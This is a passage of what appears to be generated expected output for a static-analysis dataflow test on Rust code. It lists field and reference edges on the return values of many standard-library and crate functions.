[summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::slice::index::try_range | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::slice::index::try_range | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::as_str | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::as_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::location | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::location | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::capacity | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::capacity | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::cause | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::cause | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::try_lock | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_lock | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::fd | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::fd | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::from_u32 | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_u32 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/clap-rs/clap:clap_builder::_::::insert | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::ty | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::ty | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::next | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::zip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::next | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::next_match_back | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_match_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::matching | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::next | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::nth | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::zip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::next_match | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_match | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::matching | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::binary_heap::PeekMut::heap] in lang:alloc::_::::peek_mut | PeekMut.heap | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::peek_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::linked_list::LinkedList::alloc] in lang:alloc::_::::remove_current_as_list | LinkedList.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::remove_current_as_list | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::ops::range::Range::end] in lang:core::_::crate::slice::index::try_range | Range.end | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::slice::index::try_range | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::alloc] in lang:alloc::_::::upgrade | Rc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::ptr] in lang:alloc::_::::upgrade | Rc.ptr | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::transpose | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:std::_::::next | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::CharPattern(0)] in lang:core::_::::as_utf8_pattern | CharPattern | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_utf8_pattern | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::StringPattern(0)] in lang:alloc::_::<&crate::string::String as crate::str::pattern::Pattern>::as_utf8_pattern | StringPattern | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::<&crate::string::String as crate::str::pattern::Pattern>::as_utf8_pattern | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::alloc] in lang:alloc::_::::upgrade | Arc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::ptr] in lang:alloc::_::::upgrade | Arc.ptr | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock] in lang:std::_::::try_lock | ReentrantLockGuard | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::try_lock | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sys_common::wtf8::CodePoint::value] in lang:std::_::::from_u32 | CodePoint | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::from_u32 | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:alloc::_::::source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::source | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::spec_next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::spec_next_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::spec_next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::spec_next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::spec_next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::spec_next_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::location | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::location | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::last | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::last | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::last | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:std::_::::location | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::location | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:std::_::::cause | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::cause | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::os::unix::net::listener::Incoming::listener] in lang:std::_::<&crate::os::unix::net::listener::UnixListener as crate::iter::traits::collect::IntoIterator>::into_iter | Incoming | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&crate::os::unix::net::listener::UnixListener as crate::iter::traits::collect::IntoIterator>::into_iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::os::unix::net::listener::Incoming::listener] in lang:std::_::::incoming | Incoming | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::incoming | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::can_unwind] in lang:std::_::::new | PanicHookInfo.can_unwind | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::force_no_backtrace] in lang:std::_::::new | PanicHookInfo.force_no_backtrace | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::location] in lang:std::_::::new | PanicHookInfo.location | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::payload] in lang:std::_::::new | PanicHookInfo.payload | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::location::Location::col] in lang:core::_::::internal_constructor | Location.col | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::internal_constructor | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::location::Location::file] in lang:core::_::::internal_constructor | Location.file | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::internal_constructor | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::location::Location::line] in lang:core::_::::internal_constructor | Location.line | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::internal_constructor | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::can_unwind] in lang:core::_::::new | PanicInfo.can_unwind | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::force_no_backtrace] in lang:core::_::::new | PanicInfo.force_no_backtrace | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::location] in lang:core::_::::new | PanicInfo.location | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::message] in lang:core::_::::new | PanicInfo.message | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicMessage::message] in lang:core::_::::message | PanicMessage | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::message | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::Display::inner] in lang:std::_::::display | Display | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::display | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::Display::inner].Field[crate::ffi::os_str::Display::os_str] in lang:std::_::::display | Display | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::Display::inner] in lang:std::_::::display | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::PathBuf::inner] in lang:std::_::::from | PathBuf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:alloc::_::::into_pin | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_pin | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:alloc::_::::from | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_mut | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_ref | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::into_ref | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked_mut | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_unchecked_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::new | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::new_unchecked | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::static_mut | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::static_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::static_ref | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::static_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::map_unchecked_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked_mut | -| file://:0:0:0:0 | [summary] to write: 